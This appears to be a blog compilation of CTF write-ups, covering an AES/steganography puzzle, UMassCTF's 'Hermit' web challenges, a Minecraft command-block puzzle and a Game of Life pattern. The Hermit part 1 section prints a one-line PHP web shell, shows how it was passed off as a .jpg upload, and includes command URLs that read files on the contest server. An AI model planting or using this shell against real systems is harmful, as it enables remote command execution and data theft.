JerseyCTF: Crypto: StegAESaurus

This is for the JerseyCTF

For this challenge, we were given the following information and files:

flag.txt:

51cacb88d7b1aa22418817b8b64962c5a39b6469e9b5a2e10d4ffb65c8cbbff04afe10d71da8ea1a29efd5118e1bd542

IGotTheKeys.wav:

PartofKey.jpg:

AlsoPartofKey.gif:

To begin with… I assume the flag.txt is the hex of the flag encrypted using AES.

I go to work on analyzing the wav file and based on previous experience it sounds lie there may be hidden data in the sound itself. I need to look at the spectrogram. I import it into Audacity and take a look:

I see the hidden message is “ECB”, which is the Electronic Codebook mode of decryption.

Next I analyze the PartofKey.jpg image. Looking at the Exif data (metadata) of the picture, I see the image has a copyright of “Bases of Eight” and a comment with the value:

66 64 71 63 64 142 63 66 142 67 145 70 146 146 60 144

This looks like octal and the hint cements that assumption. A quick conversion to ASCII:

This gives me a 16 character hex value:

64934b36b7e8ff0d

Next, I look at the gif. Watching it loop, I see a quick blip on one of the frames, so I decide to split it into individual frames to get a better look:

I see some text. After trying the usual decoding (base64) of strings like this, I realize the actual name of the gif might yield a hint… AlsoPartofKey58.gif

This might be base58 encoded:

This gives me another 16 character hex string:

918fcbd005bcaf7a

I think I have what I need to decrypt. I tried several online tools and Linux terminal commands, but found a site with the options I need.

For AES256, the key needs to be 32 characters long. I input the encrypted flag, mark it as hex, choose AES with ECB, combine and enter the two 16 character hex strings I collected from the images “918fcbd005bcaf7a64934b36b7e8ff0d”, and select mark the key as hex:

And I click Decrypt to get the flag:

jctf{cr4ck1ng_clus73rs0f_cryp70}

UMassCTF ’21: Web: Hermit – Part 1

This is for the UMassCTF ’21 CTF.

Challenge Author: Cobchise#6969

For this challenge, we are provided the following information:

Here is the hint:

Going to the provided link, we get this page:

I quick test image upload and I see how it works:

It uploaded the file and give a ling to see it. When I click the link to see it, It essentially prints the contents of the file as if it is text:

This tells me that I need to upload a PHP shell script:

I grab my favorite one-line PHP shell and upload it as a .php file:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Okay, that didn’t work, so I change the extension to .jpg.

It took it:

When I click to see the “image” I get this:

No I provide some commands as the expected “cmd” argument:

http://104.197.195.221:8086/show.php?filename=hh1PaP&cmd=pwd

Beautiful! I have a working shell. After some poking around, I find the flag:

http://104.197.195.221:8086/show.php?filename=hh1PaP&cmd=ls%20../../../home/hermit/flag
http://104.197.195.221:8086/show.php?filename=hh1PaP&cmd=cat%20../../../home/hermit/flag/userflag.txt
UMASS{a_picture_paints_a_thousand_shells}

UMassCTF ’21: Web: Hermit – Part 2

This is for the UMassCTF ’21 CTF.

Challenge Author: Cobchise#6969

For this challenge, we are provided the following information:

Hint 1:

Hint 2:

Going to the provided link in my browser, I get an invalid response error:

I then decide to netcat to that port to see what I can get:

Ahh, this is an SSH port.

Thinking back to the previous Hermit challenge, I notice this is the same IP, just a different port.

I go back to my one-line PHP shell that I uploaded and poke around some more.

I decide to run the whoami to see what user I am:

Now I check sudo – l to see what hermit can do:

Ahh, that looks interesting. I run that command:

That made it easy!

UMASS{a_test_of_integrity}

BlueHens CTF 2021: Minecraft: Mixed Columns

This is from the BlueHensCTF 2021.

For this challenge, We are given the following information and links:

Here is the mc86 Intro:

Here is the mc86 InitCode:

/give @p minecraft:written_book{title:"Init CPU",author:"UD Cyberscholars",generation:0,pages:[
"{\"text\":\"Click Here First\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Creating RAM\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~1 ~ ~ minecraft:lime_shulker_box\"},
\"extra\":[
{\"text\":\"Click Here Second\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~1 ~ minecraft:command_block[facing=up]{powered:0b,Command:\\\"setblock ~ ~-1 ~ air\\\"}\"}},
{\"text\":\"Click Here Third\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~2 ~ minecraft:chain_command_block[facing=up]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"execute if data block ~-1 ~-2 ~ Items[0].tag.pages[0] run setblock ~ ~-2 ~ redstone_block\\\"}\"}},
{\"text\":\"Click Here Fourth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~3 ~ ~ minecraft:command_block[facing=east]{powered:0b,Command:\\\"data modify block ~2 ~ ~ Command set from block ~-2 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Fifth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~4 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"data remove block ~-3 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Sixth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Placing ALU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~5 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b}\"}}]}"]} 1

Finally, here is the challenge source code:

/give @p writable_book{pages:["/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~2","/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~4","/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~6","/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~8","/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~10","/clone ~-4 ~ ~ ~ ~2 ~ ~-4 ~ ~12", "/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ yellow_banner[rotation=4]{Patterns:[{Pattern:\\\"cbo\\\",Color:11},{Pattern:\\\"vhr\\\",Color:11},{Pattern:\\\"bo\\\",Color:11},{Pattern:\\\"mr\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bo\\\",Color:4},{Pattern:\\\"rud\\\",Color:11},{Pattern:\\\"ld\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"mr\\\",Color:11},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"dls\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"mr\\\",Color:11},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"ms\\\",Color:11},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ yellow_banner[rotation=4]{Patterns:[{Pattern:\\\"cbo\\\",Color:11},{Pattern:\\\"vh\\\",Color:11},{Pattern:\\\"mr\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"ms\\\",Color:11},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"tt\\\",Color:11},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"dls\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ms\\\",Color:4},{Pattern:\\\"rs\\\",Color:11},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"hhb\\\",Color:11},{Pattern:\\\"ms\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"ms\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"tt\\\",Color:11},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"cbo\\\",Color:11},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"hhb\\\",Color:11},{Pattern:\\\"ms\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bo\\\",Color:4},{Pattern:\\\"rud\\\",Color:11},{Pattern:\\\"ld\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"cs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"mr\\\",Color:11},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ yellow_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:11},{Pattern:\\\"bs\\\",Color:11},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"tt\\\",Color:4},{Pattern:\\\"tts\\\",Color:11},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}","/give @p writable_book{pages:[\"/setblock ~5 ~13 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~10 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"hh\\\",Color:4},{Pattern:\\\"cs\\\",Color:11},{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"drs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~7 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"ms\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\",\"/setblock ~5 ~4 ~ blue_banner[rotation=4]{Patterns:[{Pattern:\\\"ts\\\",Color:4},{Pattern:\\\"bs\\\",Color:4},{Pattern:\\\"rs\\\",Color:4},{Pattern:\\\"ls\\\",Color:4},{Pattern:\\\"bo\\\",Color:11}]} destroy\"]}"]}

As recommended by the challenge text, I got the latest Minecraft Java Launcher and launched a world:

I followed the YouTube video and gave myself a command block, placed it with a button on it, and posted the mc86 initcode:

I clicked the button and received an enchanted book:

I followed the instructions and clicked each of the six links to generate my mc86 computer in my world:

Next, following the YouTube video, I pasted the challenge source code into the command block I created earlier and click the button:

This gave me a 13 page book and quill:

I placed a button in the mc86 computer (as directed in the YouTube video) and and clicked it to run the challenge program:

This generated 6 new mc86 computers and gave me 7 new book and quills. Looking at these new books, I see that they are just a few ages each, different, and they generate banners:

I currently have 7 mc86 computers and 7 new books, so I place each of the books into the different computers, add buttons to them, and then execute the programs.

This generated 7 columns of banners in the sky:

I see that the top row of each contains what I would expect the beginning of the flag to be (UDCTF{) plus a 7.

I use my high-tech Microsoft Paint program to edit a screenshot by rearranging the columns so that the top row spells out UDCTF{7

Running down the characters gives me the flag:

UDCTF{7R4NSP0S3_7HE_C0LUMNS}

BlueHens CTF 2021: Misc: Conway presents The Falcon

This is from the BlueHensCTF 2021.

For this challenge, we are given the following hint and file:

golly.rle:

x = 2473, y = 1630, rule = B3/S23
2$
1406bo$
1407bo3bo$
1398b2o2b2o8bo12b2o$
1398b2o2bo5b2o2bo12b2o$
1402bobo5b2o$
1403b2o3b3o2$
1403b2o3b3o$
1402bobo5b2o$
1402bo5b2o2bo$
1402b2o8bo$
1407bo3bo$
1406bo2$
1435b2o$
1435b2o3$
1521bo$
1522bo3bo$
1513b2o2b2o8bo12b2o$
1513b2o2bo5b2o2bo12b2o$
1428b3o3b3o80bobo5b2o$
1428bo2bobo2bo81b2o3b3o$
1427bo3bobo3bo$
1427b4o3b4o80b2o3b3o$
1428bo7bo80bobo5b2o$
1517bo5b2o2bo$
1517b2o8bo$
1522bo3bo$
1521bo$
1427b$
1550b2o$
1435bo114b2o$
1434b3o$
1433bo3bo$
1433b2ob2o77bobo10b2o106bo$
1433b2ob2o77b2o11bobo106bo3bo$
1516bo11bo99b2o2b2o8bo12b2o$
1433b2ob2o190b2o2bo5b2o2bo12b2o$
1433b2ob2o105b3o3b3o80bobo5b2o$
1428b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1428b2o4b3o105bo3bobo3bo$
1435bo106b4o3b4o80b2o3b3o$
1543bo7bo80bobo5b2o$
1632bo5b2o2bo$
1632b2o8bo$
1637bo3bo$
1539b3o94bo$
1539bo$
1540bo124b2o$
1550bo114b2o$
1549b3o$
1548bo3bo$
1548b2ob2o90b2o106bo$
1548b2ob2o90bobo106bo3bo$
1643bo99b2o2b2o8bo12b2o$
1548b2ob2o190b2o2bo5b2o2bo12b2o$
1548b2ob2o105b3o3b3o80bobo5b2o$
1492bobo48b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1492b2o35b3o11b2o4b3o105bo3bobo3bo$
1493bo37bo18bo106b4o3b4o80b2o3b3o$
1530bo127bo7bo80bobo5b2o$
1747bo5b2o2bo$
1747b2o8bo$
1620bo131bo3bo$
1618b2o131bo$
1619b2o36b$
1780b2o$
1665bo114b2o$
1664b3o$
1663bo3bo$
1663b2ob2o198bo$
1663b2ob2o199bo3bo$
1858b2o2b2o8bo12b2o$
1663b2ob2o190b2o2bo5b2o2bo12b2o$
1663b2ob2o105b3o3b3o80bobo5b2o$
1658b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1658b2o4b3o105bo3bobo3bo$
1665bo106b4o3b4o80b2o3b3o$
1773bo7bo80bobo5b2o$
1862bo5b2o2bo$
1862b2o8bo$
1867bo3bo$
1866bo$
1772b$
1895b2o$
1780bo114b2o$
1779b3o$
1778bo3bo$
1778b2ob2o198bo$
1778b2ob2o199bo3bo$
1973b2o2b2o8bo12b2o$
1778b2ob2o190b2o2bo5b2o2bo12b2o$
1778b2ob2o105b3o3b3o80bobo5b2o$
1773b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1773b2o4b3o105bo3bobo3bo$
1780bo106b4o3b4o80b2o3b3o$
1888bo7bo80bobo5b2o$
1977bo5b2o2bo$
1977b2o8bo$
1621b3o226bo131bo3bo$
1623bo224b2o131bo$
1622bo226b2o36b$
2010b2o$
1446bobo446bo114b2o$
1446b2o35b3o408b3o$
1447bo37bo262b2o143bo3bo$
1484bo262bobo143b2ob2o198bo$
1749bo143b2ob2o199bo3bo$
2088b2o2b2o8bo12b2o$
1574bo318b2ob2o190b2o2bo5b2o2bo12b2o$
1572b2o319b2ob2o105b3o3b3o80bobo5b2o$
1573b2o313b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1874b3o11b2o4b3o105bo3bobo3bo$
1876bo18bo106b4o3b4o80b2o3b3o$
1875bo127bo7bo80bobo5b2o$
1472b2o618bo5b2o2bo$
1471bobo225bobo390b2o8bo$
1473bo225b2o396bo3bo$
1700bo395bo$
2002b$
2125b2o$
2010bo114b2o$
2009b3o$
1863b2o143bo3bo$
1862bobo143b2ob2o77bobo118bo$
1864bo143b2ob2o77b2o120bo3bo$
2091bo111b2o2b2o8bo12b2o$
1460b3o545b2ob2o190b2o2bo5b2o2bo12b2o$
1462bo545b2ob2o105b3o3b3o80bobo5b2o$
1461bo490bobo48b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1952b2o49b2o4b3o105bo3bobo3bo$
1953bo56bo106b4o3b4o80b2o3b3o$
1551bo566bo7bo80bobo5b2o$
1549b2o656bo5b2o2bo$
1550b2o655b2o8bo$
1851b3o358bo3bo$
1853bo357bo$
1852bo264b$
2240b2o$
1676bobo446bo114b2o$
1676b2o446b3o$
1677bo300b2o143bo3bo$
1977bobo143b2ob2o77bobo10b2o106bo$
1979bo143b2ob2o77b2o11bobo106bo3bo$
2206bo11bo99b2o2b2o8bo12b2o$
1575b3o545b2ob2o190b2o2bo5b2o2bo12b2o$
1577bo262b2o281b2ob2o105b3o3b3o80bobo5b2o$
1576bo262bobo276b2o3bo3bo105bo2bobo2bo81b2o3b3o$
1841bo276b2o4b3o105bo3bobo3bo$
2125bo106b4o3b4o80b2o3b3o$
2233bo7bo80bobo5b2o$
1702b2o618bo5b2o2bo$
1701bobo618b2o8bo$
1703bo262b3o358bo3bo$
1968bo357bo$
1967bo264b$
2355b2o$
2240bo114b2o$
2239b3o$
2093b2o143bo3bo$
2092bobo143b2ob2o198bo$
1426b2o666bo143b2ob2o199bo3bo$
1425bobo1005b2o2b2o8bo12b2o$
1427bo810b2ob2o190b2o2bo5b2o2bo12b2o$
2238b2ob2o105b3o3b3o80bobo5b2o$
2233b2o3bo3bo105bo2bobo2bo81b2o3b3o$
2219b3o11b2o4b3o105bo3bobo3bo$
2221bo18bo106b4o3b4o80b2o3b3o$
2220bo127bo7bo80bobo5b2o$
2437bo5b2o2bo$
2437b2o8bo$
2442bo3bo$
2441bo$
1414b3o930b$
1416bo1053b2o$
1415bo490bobo446bo114b2o$
1906b2o446b3o$
1907bo445bo3bo$
1505bo847b2ob2o93b$
1503b2o848b2ob2o93b$
1504b2o945b$
2353b2ob2o$
2353b2ob2o105b3o3b3o$
2348b2o3bo3bo105bo2bobo2bo$
1403b2o943b2o4b3o105bo3bobo3bo$
1402bobo225bobo722bo106b4o3b4o$
1404bo225b2o831bo7bo$
1631bo302b$
2162b$
2426b$
2462b$
1529b3o226bo703b$
1531bo224b2o36b2o666b$
1530bo226b2o34bobo674bo$
1795bo673b3o$
2468bo3bo$
1391b3o1074b2ob2o$
1393bo1074b2ob2o$
1392bo493b$
1920b3o226bo318b2ob2o$
1922bo224b2o36b2o281b2ob2o$
1921bo226b2o34bobo276b2o3bo3bo$
2186bo276b2o4b3o$
2470bo$
2011bo440b$
2009b2o36b2o$
2010b2o34bobo228b$
1380b2o666bo265b$
1379bobo225bobo704b$
1381bo225b2o705b$
1608bo302b$
2139b$
2403b$
2440b$
1735bo704b$
1733b2o705b$
1734b2o265b$
2265b$
2302b$
2302b$
2302b$
1863b$
2127b$
2164b$
2392b$
2426b3o$
2428bo$
2427bo$
2026b$
2254b$
1357b2o932b$
1356bobo932b$
1358bo262b3o667b$
1623bo264b$
1622bo493b$
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1082bo265b$
641bobo704b$
641b2o35b3o226bo440b$
642bo37bo224b2o36b2o$
679bo226b2o34bobo225bobo$
944bo225b2o35b3o227b$
1171bo37bo264b$
1208bo265b$
805b2o667b$
804bobo228b$
806bo492b$
1336b$
631bo704b$
629b2o705b$
630b2o265b$
1161b$
1198b$
1426b$
1463b$
1463b$
1463b$
1060b$
1288b$
1325b$
618bobo704b$
618b2o35b3o667b$
619bo37bo264b$
656bo493b$
1184b3o227b$
1186bo264b$
746bo438bo265b$
744b2o705b$
745b2o265b$
1276b$
1313b$
608bo704b$
606b2o705b$
607b2o262bobo$
871b2o35b3o226bo$
872bo37bo224b2o36b2o$
909bo226b2o34bobo228b$
506b2o666bo265b$
505bobo932b$
507bo932b$
1037b$
1265b$
368b2o932b$
367bobo932b$
369bo262b3o667b$
634bo262b2o$
633bo262bobo225bobo$
898bo225b2o35b3o227b$
1125bo37bo264b$
723bo438bo265b$
721b2o36b2o667b$
722b2o34bobo228b$
760bo492b$
1290b$
356b3o931b$
358bo931b$
357bo490bobo$
848b2o35b3o226bo$
849bo37bo224b2o38b$
886bo226b2o265b$
483b2o932b$
482bobo932b$
484bo932b$
1014b$
1242b$
345b2o932b$
344bobo932b$
346bo491bo440b$
836b2o36b2o$
837b2o34bobo228b$
875bo492b$
1405b$
1405b$
736b2o667b$
735bobo225bobo$
737bo225b2o265b$
296bobo665bo302b$
296b2o969b$
297bo969b$
825bobo$
825b2o35b3o226bo$
826bo37bo224b2o36b2o$
863bo226b2o34bobo228b$
1128bo265b$
1394b$
1394b$
991b$
1219b$
1256b$
1256b$
586b3o226bo440b$
588bo224b2o38b$
587bo226b2o262bobo$
1078b2o35b3o227b$
1079bo37bo264b$
677bo438bo265b$
675b2o705b$
676b2o265b$
977b3o227b$
979bo264b$
310b3o665bo265b$
312bo931b$
311bo490bobo$
802b2o264bo$
803bo262b2o36b2o$
1067b2o34bobo228b$
1105bo265b$
1371b$
930bo440b$
928b2o38b$
929b2o265b$
1233b$
1233b$
1233b$
828b2o$
827bobo225bobo$
829bo225b2o35b3o227b$
1056bo37bo264b$
1093bo265b$
690b2o667b$
689bobo228b$
691bo492b$
250bobo968b$
250b2o969b$
251bo300b2o667b$
551bobo225bobo$
553bo225b2o35b3o226bo$
780bo37bo224b2o36b2o$
817bo226b2o34bobo228b$
1082bo265b$
1348b$
1348b$
945b$
1173b$
1210b$
503bobo704b$
503b2o35b3o667b$
504bo37bo264b$
541bo493b$
1299b$
1336b$
1336b$
667b2o667b$
666bobo225bobo$
668bo225b2o265b$
895bo302b$
493bo704b$
491b2o36b2o667b$
492b2o34bobo228b$
530bo491bo$
1020b2o38b$
355bo665b2o265b$
353b2o970b$
354b2o969b$
1325b$
922b$
1150b$
1187b$
480bobo704b$
480b2o705b$
481bo302b$
1009bobo$
1009b2o265b$
1010bo302b$
1313b$
1313b$
874b$
1138b$
1175b$
1175b$
1175b$
733bobo$
733b2o264bo$
734bo262b2o36b2o$
998b2o34bobo228b$
1036bo265b$
1302b$
1302b$
899b$
1127b$
1164b$
1164b$
1164b$
761b$
989b$
1023b3o227b$
1025bo264b$
1024bo265b$
1290b$
851b$
1115b$
1152b$
1152b$
483b2o667b$
482bobo228b$
484bo492b$
1014b$
309bo932b$
307b2o970b$
8b2o298b2o262bobo704b$
8b2o562b2o264bo440b$
573bo262b2o36b2o$
837b2o34bobo228b$
875bo265b$
434bobo704b$
434b2o35b3o667b$
435bo37bo264b$
472bo493b$
1000b3o227b$
1002bo264b$
1001bo265b$
1267b$
828b$
b2o5b2o1082b$
o2bo3bo2bo1118b$
bo2bobo2bo414bo704b$
4bobo415b2o36b2o667b$
2b3ob3o114b2o298b2o34bobo228b$
3o5b3o112b2o336bo491bo$
2o7b2o940b2o38b$
2o7b2o941b2o265b$
bob2ob2obo1246b$
b3o3b3o1246b$
2bo5bo1247b$
10bo5bo836b$
9b3o3b3o1060bobo$
9bob2ob2obo1060b2o38b$
8b2o7b2o392bobo665bo38b$
8b2o7b2o392b2o705b$
8b3o5b3o393bo302b$
10b3ob3o926b$
12bobo101b2o5b2o1082b$
9bo2bobo2bo97bo2bo3bo2bo1118b$
8bo2bo3bo2bo97bo2bobo2bo1119b$
9b2o5b2o101bobo1122b$
117b3ob3o114b2o565b$
115b3o5b3o112b2o829b$
115b2o7b2o980b$
115b2o7b2o980b$
116bob2ob2obo981b$
116b3o3b3o542b$
117bo5bo577b3o227b$
125bo5bo571bo262b2o$
124b3o3b3o569bo262bobo228b$
28b2o94bob2ob2obo834bo265b$
28b2o93b2o7b2o392bobo704b$
123b2o7b2o392b2o264bo440b$
16b2o105b3o5b3o393bo262b2o36b2o$
16b2o107b3ob3o659b2o34bobo228b$
127bobo101b2o5b2o589bo265b$
124bo2bobo2bo97bo2bo3bo2bo147bobo704b$
123bo2bo3bo2bo97bo2bobo2bo148b2o705b$
124b2o5b2o101bobo152bo302b$
232b3ob3o114b2o565b$
230b3o5b3o112b2o829b$
230b2o7b2o980b$
87b2o141b2o7b2o980b$
30bo3bo52b2o142bob2ob2obo981b$
30bo3bo196b3o3b3o542b$
232bo5bo806bo$
240bo5bo796b2o38b$
27b2obo3bob2o201b3o3b3o130bo665b2o37b$
28b3o3b3o43b3o3b3o54b2o94bob2ob2obo128b2o705b$
29bo5bo44bo2bobo2bo54b2o93b2o7b2o128b2o265b$
79bo3bobo3bo148b2o7b2o659b$
80bo2bobo2bo42b2o105b3o5b3o696b$
82bo3bo44b2o107b3ob3o926b$
80b2o5b2o153bobo101b2o5b2o855b$
79b3o5b3o149bo2bobo2bo97bo2bo3bo2bo147bobo704b$
79b3o5b3o148bo2bo3bo2bo97bo2bobo2bo148b2o705b$
239b2o5b2o101bobo152bo302b$
35b2o310b3ob3o114b2o565b$
35b2o308b3o5b3o112b2o602b$
345b2o7b2o9bobo704b$
80b3o119b2o141b2o7b2o9b2o264bo440b$
80b3o62bo3bo52b2o142bob2ob2obo11bo262b2o38b$
79b5o61bo3bo196b3o3b3o275b2o262bobo$
78b2o3b2o262bo5bo540b2o35b3o227b$
78b2o3b2o270bo5bo533bo37bo264b$
142b2obo3bob2o201b3o3b3o569bo265b$
143b3o3b3o43b3o3b3o54b2o94bob2ob2obo166b2o667b$
144bo5bo44bo2bobo2bo54b2o93b2o7b2o164bobo228b$
78b2o3b2o109bo3bobo3bo148b2o7b2o166bo262b3o227b$
78b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o431bo264b$
79b5o3b2o108bo3bo44b2o107b3ob3o432bo265b$
80b3o112b2o5b2o153bobo101b2o5b2o590b$
80b3o111b3o5b3o149bo2bobo2bo97bo2bo3bo2bo147bobo$
194b3o5b3o148bo2bo3bo2bo5bo91bo2bobo2bo148b2o35b3o227b$
354b2o5b2o7b2o92bobo152bo37bo262b2o$
150b2o217b2o91b3ob3o114b2o71bo262bobo228b$
150b2o308b3o5b3o112b2o336bo265b$
460b2o7b2o716b$
195b3o119b2o141b2o7b2o716b$
195b3o62bo3bo52b2o142bob2ob2obo314b$
194b5o61bo3bo196b3o3b3o542b$
193b2o3b2o262bo5bo580b$
193b2o3b2o270bo5bo572b$
257b2obo3bob2o201b3o3b3o130bo440b$
258b3o3b3o43b3o3b3o54b2o94bob2ob2obo128b2o38b$
259bo5bo44bo2bobo2bo54b2o93b2o7b2o128b2o265b$
193b2o3b2o109bo3bobo3bo148b2o7b2o429b3o227b$
193b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o431bo264b$
